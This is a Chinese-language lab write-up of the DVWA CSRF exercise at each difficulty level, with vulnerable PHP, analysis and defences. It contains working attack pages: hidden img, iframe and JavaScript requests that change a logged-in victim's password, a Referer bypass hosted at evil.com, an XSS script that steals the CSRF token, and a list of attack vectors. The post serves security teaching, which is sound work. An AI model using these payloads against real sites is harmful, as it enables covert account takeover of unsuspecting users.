0%

DVWA - CSRF (跨站请求伪造) 攻防练习详解

目录


漏洞简介

什么是CSRF(Cross-Site Request Forgery)?

CSRF是一种攻击方式,攻击者诱导受害者在已登录的Web应用程序上执行非本意的操作。

攻击原理:

  1. 受害者登录了目标网站A(如网银)
  2. 浏览器保存了网站A的Cookie
  3. 受害者访问攻击者构造的恶意网站B
  4. 恶意网站B向网站A发起请求
  5. 浏览器自动带上网站A的Cookie
  6. 网站A认为是合法请求,执行操作

危害:

  • 修改用户密码
  • 转账汇款
  • 修改个人资料
  • 发送恶意邮件
  • 购买商品
  • 删除数据

与XSS的区别:

  • XSS:注入恶意代码在目标网站执行
  • CSRF:利用用户的登录状态发起请求

Low 难度

攻击目标

无任何CSRF防护的密码修改功能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

// 检查是否提交了修改密码的请求
// isset() - 检查变量是否已设置且非NULL
// $_GET - 从URL参数获取数据
if( isset( $_GET[ 'Change' ] ) ) {

// 获取新密码和确认密码
// $_GET[ 'password_new' ] - 新密码
// $_GET[ 'password_conf' ] - 确认密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// ★★★ 问题1:只检查两次输入是否一致,不验证旧密码 ★★★
// == - 比较运算符,判断两个值是否相等
if( $pass_new == $pass_conf ) {

// 两次密码输入一致

// 对密码进行MD5哈希
// md5() - 将字符串转换为32位十六进制MD5哈希值
$pass_new = md5( $pass_new );

// ★★★ 问题2:SQL注入漏洞 - 直接拼接变量 ★★★
// $_SESSION[ 'username' ] - 从session获取当前登录用户名
// 这里存在SQL注入风险(虽然session相对可信)
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = mysql_real_escape_string( $pass_new );

// 构建SQL更新语句
// UPDATE - SQL更新命令
// SET password = '$pass_new' - 设置新密码
// WHERE user = ... - 指定要更新的用户
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";

// 执行SQL查询
// mysql_query() - 执行MySQL查询(已废弃)
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 输出成功信息
$html .= "<pre>Password Changed.</pre>";
}
else {
// 两次密码输入不一致

// 输出错误信息
$html .= "<pre>Passwords did not match.</pre>";
}

// 关闭数据库连接
mysql_close();
}

?>

漏洞分析

核心问题:

  1. 使用GET请求 - 敏感操作应该用POST
  2. 无CSRF Token - 无法验证请求来源
  3. 无验证码 - 可以自动化攻击
  4. 不验证旧密码 - 只要用户登录就能改密码
  5. 无Referer检查 - 不验证请求来源页面

攻击条件:

  • 受害者已登录DVWA
  • 受害者访问攻击者页面
  • 浏览器会自动发送Cookie

攻击步骤

方法1:构造恶意链接

步骤1:分析正常请求

正常修改密码的URL:

1
http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

步骤2:创建攻击页面

创建 csrf_attack.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>恭喜中奖!</title>
</head>
<body>
<h1>恭喜您中奖了!</h1>
<p>点击下方按钮领取奖品</p>

<!-- ★★★ 恶意链接:修改DVWA密码 ★★★ -->
<a href="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">
领取奖品
</a>
</body>
</html>

步骤3:诱导用户点击

  1. 受害者已登录DVWA
  2. 受害者点击”领取奖品”链接
  3. 浏览器向DVWA发送请求(自动带上Cookie)
  4. DVWA认为是合法请求,修改密码为”hacked”
  5. 受害者密码被修改,但可能不知情

方法2:自动攻击(无需点击)

使用图片标签自动发起请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<title>热门新闻</title>
</head>
<body>
<h1>今日头条</h1>
<p>正在加载内容...</p>

<!-- ★★★ 隐藏的攻击:使用img标签 ★★★ -->
<!-- 浏览器加载页面时会自动请求img的src -->
<!-- 用户完全不知情! -->
<img src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"
width="0" height="0" border="0" style="display:none;">
</body>
</html>

原理:

  • 浏览器加载页面时自动请求图片
  • 即使是GET请求,浏览器也会发送
  • Cookie自动附加
  • 用户完全不知道发生了什么

方法3:使用iframe隐藏攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>正常网页</title>
</head>
<body>
<h1>欢迎访问我的博客</h1>
<p>这里是一些有趣的内容...</p>

<!-- ★★★ 使用iframe隐藏攻击 ★★★ -->
<iframe src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change"
width="0" height="0" frameborder="0" style="display:none;">
</iframe>
</body>
</html>

方法4:使用JavaScript自动提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<title>加载中...</title>
</head>
<body>
<h1>页面加载中,请稍候...</h1>

<script>
// ★★★ JavaScript自动发起请求 ★★★
// 页面加载完成后自动执行
window.onload = function() {
// 创建img元素
var img = new Image();
// 设置src,浏览器会自动发送GET请求
img.src = "http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change";
// 请求完成后重定向到正常页面(掩盖踪迹)
setTimeout(function() {
window.location.href = "http://www.example.com";
}, 1000);
};
</script>
</body>
</html>

实战演示

完整攻击流程:

  1. 攻击者准备

  2. 诱导受害者

  3. 受害者操作

    • 已登录DVWA(Cookie有效)
    • 点击链接访问 evil.com/csrf_attack.html
    • 页面自动加载,发送恶意请求
  4. 攻击完成

    • DVWA密码被改为”hacked”
    • 攻击者可以用新密码登录
    • 受害者可能很久才发现

Medium 难度

攻击目标

添加了Referer检查,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

// 检查是否提交了修改密码的请求
if( isset( $_GET[ 'Change' ] ) ) {

// ★★★ 新增:检查Referer头部 ★★★
// $_SERVER['HTTP_REFERER'] - HTTP Referer头,表示请求来源页面
// 浏览器会自动设置这个值,表示从哪个页面跳转过来的
// stripos() - 查找字符串首次出现的位置(不区分大小写)
// 参数1:被搜索的字符串(Referer)
// 参数2:要查找的字符串(服务器名)
// 返回值:找到返回位置(>= 0),未找到返回false
// !== false - 严格不等于false(必须找到)
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {

// Referer包含服务器名,认为是合法请求

// 获取新密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// 验证两次密码是否一致
if( $pass_new == $pass_conf ) {

// MD5加密
$pass_new = md5( $pass_new );

// 转义特殊字符
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = mysql_real_escape_string( $pass_new );

// 更新密码
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

$html .= "<pre>Password Changed.</pre>";
}
else {
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// ★★★ Referer检查失败 ★★★
// 输出错误信息
$html .= "<pre>That request didn't look correct.</pre>";
}

mysql_close();
}

?>

新增防护

  1. Referer检查 - 验证请求是否来自本站

仍存在的漏洞

  1. Referer可以伪造 - 浏览器可以设置
  2. 检查不严格 - 只检查是否包含服务器名
  3. 仍使用GET请求

绕过方法

方法1:文件名包含目标域名

原理:

1
2
3
4
5
// 代码检查
stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false

// $_SERVER['SERVER_NAME'] = 'dvwa.local'
// 只要Referer包含 'dvwa.local' 就能通过

绕过方式:

创建文件名包含目标域名的HTML文件:

文件名:dvwa.local.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>攻击页面</title>
</head>
<body>
<h1>中奖通知</h1>

<!-- 当用户访问 http://evil.com/dvwa.local.html 时 -->
<!-- Referer会是: http://evil.com/dvwa.local.html -->
<!-- 包含了 'dvwa.local' 字符串! -->
<img src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"
width="0" height="0" style="display:none;">
</body>
</html>

完整路径示例:

1
2
3
4
攻击者服务器:http://evil.com/dvwa.local.html
Referer: http://evil.com/dvwa.local.html
stripos('http://evil.com/dvwa.local.html', 'dvwa.local') = 19(找到了!)
检查通过 ✅

方法2:目录名包含目标域名

1
2
3
4
5
6
7
8
目录结构:
evil.com/
└── dvwa.local/
└── attack.html

访问:http://evil.com/dvwa.local/attack.html
Referer: http://evil.com/dvwa.local/attack.html
包含 'dvwa.local'

方法3:查询参数包含目标域名

1
2
3
<!-- 访问:http://evil.com/attack.html?ref=dvwa.local -->
<!-- Referer: http://evil.com/attack.html?ref=dvwa.local -->
<!-- 包含 'dvwa.local' ✅ -->

High 难度

攻击目标

添加了CSRF Token和用户交互确认。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

// ★★★ 新增:检查是否提供了CSRF Token ★★★
// user_token - 用户提交的token
// session_token - 服务器session中存储的正确token
if( isset( $_GET[ 'Change' ] ) ) {

// ★★★ 核心防护:验证CSRF Token ★★★
// checkToken() - DVWA自定义函数
// 作用:对比用户提交的token和session中的token是否匹配
// 如果不匹配,重定向到index.php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Token验证通过

// 获取新密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// ★★★ 新增:stripslashes()去除反斜杠 ★★★
// stripslashes() - 删除字符串中的反斜杠\
// 作用:清理可能的转义字符
$pass_new = stripslashes( $pass_new );
$pass_conf = stripslashes( $pass_conf );

// 验证两次密码是否一致
if( $pass_new == $pass_conf ) {

// MD5加密
$pass_new = md5( $pass_new );

// 转义特殊字符
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 更新密码
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"], $query ) : false ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

$html .= "<pre>Password Changed.</pre>";
}
else {
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// ★★★ 生成新的CSRF Token ★★★
// generateSessionToken() - DVWA自定义函数
// 作用:生成随机token并存储到session
// 每次页面加载都会生成新token
generateSessionToken();

?>

新增防护

  1. CSRF Token验证 - 每个请求必须携带有效token
  2. Token随机生成 - 每次页面加载生成新token
  3. stripslashes() - 额外输入过滤

仍存在的漏洞

  1. 仍使用GET请求 - Token可能被记录
  2. Token可以被提取 - 通过XSS或其他方式

绕过方法

方法1:结合XSS漏洞

如果目标网站存在XSS漏洞,可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 假设DVWA存在XSS漏洞
// 注入JavaScript代码提取token

<script>
// 1. 先访问CSRF页面获取token
fetch('http://dvwa.local/dvwa/vulnerabilities/csrf/')
.then(response => response.text())
.then(html => {
// 2. 从HTML中提取token
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var token = doc.querySelector('input[name="user_token"]').value;

// 3. 使用提取的token发起CSRF攻击
var url = 'http://dvwa.local/dvwa/vulnerabilities/csrf/' +
'?password_new=hacked' +
'&password_conf=hacked' +
'&Change=Change' +
'&user_token=' + token;

// 4. 发送恶意请求
fetch(url);
});
</script>

方法2:社会工程学

虽然有token,但可以通过以下方式:

  1. 钓鱼攻击

    • 创建仿冒的DVWA页面
    • 诱导用户输入密码
    • 实际上提交到攻击者服务器
  2. 中间人攻击

    • 拦截用户请求
    • 提取token
    • 发起攻击

Impossible 难度

攻击目标

完善的CSRF防护,几乎无法攻破。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

// ★★★ 改进1:使用POST方法 ★★★
// $_POST - 从POST请求体获取数据,不会出现在URL中
// 更安全,不会被记录在浏览器历史、服务器日志等
if( isset( $_POST[ 'Change' ] ) ) {

// ★★★ CSRF Token验证 ★★★
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取当前密码(★★★ 新增 ★★★)
// 这是关键改进:必须输入当前密码才能修改
$pass_curr = $_POST[ 'password_current' ];

// 获取新密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 清理输入
$pass_curr = stripslashes( $pass_curr );
$pass_new = stripslashes( $pass_new );
$pass_conf = stripslashes( $pass_conf );

// MD5加密当前密码(用于验证)
$pass_curr = md5( $pass_curr );

// 转义特殊字符(防SQL注入)
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// ★★★ 改进2:验证当前密码是否正确 ★★★
// 查询数据库,检查当前密码是否匹配
// 这样即使有CSRF攻击,攻击者也不知道用户的当前密码
$query = "SELECT password FROM `users` WHERE user = '" . $_SESSION[ 'username' ] . "' AND password = '$pass_curr';";
$result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"], $query ) : false );

// ★★★ 多重验证 ★★★
// 条件1:当前密码验证通过
// 条件2:新密码和确认密码一致
// mysqli_num_rows($result) - 返回结果行数
// == 1 表示找到了匹配的密码(当前密码正确)
if( ( $result && ( mysqli_num_rows( $result ) == 1 ) ) && ( $pass_new == $pass_conf ) ) {

// 所有验证通过

// MD5加密新密码
$pass_new = md5( $pass_new );

// 更新密码
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"], $query ) : false ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

$html .= "<pre>Password Changed.</pre>";
}
else {
// 验证失败

// 输出错误信息(不透露具体原因,安全实践)
$html .= "<pre>Either your current password is incorrect or the new passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// 生成新的CSRF Token
generateSessionToken();

?>

完善的防护机制

  1. POST请求 - 密码不出现在URL
  2. CSRF Token - 每次请求必须有效token
  3. 验证当前密码 - 必须知道旧密码才能改
  4. 新密码确认 - 两次输入必须一致
  5. SQL注入防护 - 使用mysqli_real_escape_string
  6. 错误信息模糊 - 不透露具体失败原因

为什么无法攻破?

攻击者的困境:

1
2
3
4
5
6
7
8
9
10
11
12
CSRF攻击需要:
1. 有效的CSRF Token ✓(可能通过XSS获取)
2. 知道用户当前密码 ✗(攻击者不知道!)

即使构造了请求:
POST /dvwa/vulnerabilities/csrf/
password_current=????? ← 攻击者不知道
password_new=hacked
password_conf=hacked
user_token=有效token

结果:当前密码验证失败,攻击失败

防御层级:

  1. Token验证 → 防止简单CSRF
  2. 当前密码验证 → 即使有token也无法攻击
  3. POST请求 → 避免信息泄露
  4. 双重密码确认 → 防止输入错误

防御建议

代码层面

1. 使用CSRF Token(推荐)

1
2
3
4
5
6
7
8
9
10
11
12
13
// 生成token
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 在表单中嵌入token
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

// 验证token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}

2. 验证Referer头(辅助)

1
2
3
4
5
6
7
// 严格的Referer检查
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$host = $_SERVER['HTTP_HOST'];

if (!str_starts_with($referer, "https://$host/")) {
die('Invalid referer');
}

3. 使用SameSite Cookie属性

1
2
3
4
5
6
7
8
9
// 设置Cookie时添加SameSite属性
setcookie('session', $value, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true, // 只通过HTTPS传输
'httponly' => true, // 禁止JavaScript访问
'samesite' => 'Strict' // 防止CSRF
]);

SameSite属性值:

  • Strict - 完全禁止第三方请求发送Cookie
  • Lax - GET请求可以,POST请求不行
  • None - 允许(需配合Secure使用)

4. 验证关键操作密码

1
2
3
4
// 对于敏感操作,要求输入当前密码
if (md5($_POST['current_password']) !== $user['password']) {
die('Current password incorrect');
}

5. 使用POST而非GET

1
2
3
4
// 所有状态修改操作使用POST
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
die('Method not allowed');
}

框架层面

Laravel示例

1
2
3
4
5
6
7
8
9
// Laravel自动提供CSRF保护
// 在表单中添加
@csrf

// 或
<input type="hidden" name="_token" value="{{ csrf_token() }}">

// 验证(自动)
// Laravel会自动验证所有POST/PUT/DELETE请求的CSRF token

Django示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# settings.py
MIDDLEWARE = [
'django.middleware.csrf.CsrfViewMiddleware',
]

# 模板中
{% csrf_token %}

# 验证(自动)
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def my_view(request):
...

架构层面

  1. 双重提交Cookie模式

    1
    2
    3
    - 在Cookie中设置token
    - 在请求参数中也提交token
    - 服务器对比两者是否一致
  2. 自定义请求头

    1
    2
    3
    4
    5
    6
    7
    8
    // 使用AJAX时添加自定义头
    fetch(url, {
    method: 'POST',
    headers: {
    'X-CSRF-Token': token,
    'X-Requested-With': 'XMLHttpRequest'
    }
    });
  3. 验证码(重要操作)

    • 修改密码
    • 转账
    • 删除数据

总结对比

特性 Low Medium High Impossible
请求方法 GET GET GET POST
CSRF Token
Referer检查 ✅(弱)
验证当前密码
SameSite Cookie 可选
攻击难度 极易 简单 中等 极难
绕过方法 直接攻击 文件名trick XSS+CSRF 几乎不可能

实战建议

学习路径:

  1. Low难度 - 理解CSRF基本原理
  2. Medium难度 - 学习Referer绕过
  3. High难度 - 理解Token机制
  4. Impossible难度 - 掌握完善的防御

常用攻击向量:

1
2
3
4
5
6
7
8
9
10
11
<!-- GET请求 -->
<img src="目标URL">
<script src="目标URL"></script>
<iframe src="目标URL"></iframe>
<link rel="stylesheet" href="目标URL">

<!-- POST请求 -->
<form action="目标URL" method="POST" id="csrf">
<input name="param" value="value">
</form>
<script>document.getElementById('csrf').submit();</script>

防御检查清单:

  • 所有状态修改操作使用POST
  • 实施CSRF Token验证
  • 设置SameSite Cookie属性
  • 重要操作验证当前密码
  • 添加验证码(可选)
  • 检查Referer(辅助)
  • 使用HTTPS
  • 定期更新token

道德准则:

  • 只在授权环境测试
  • 不攻击真实用户
  • 理解攻击是为了更好防御
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels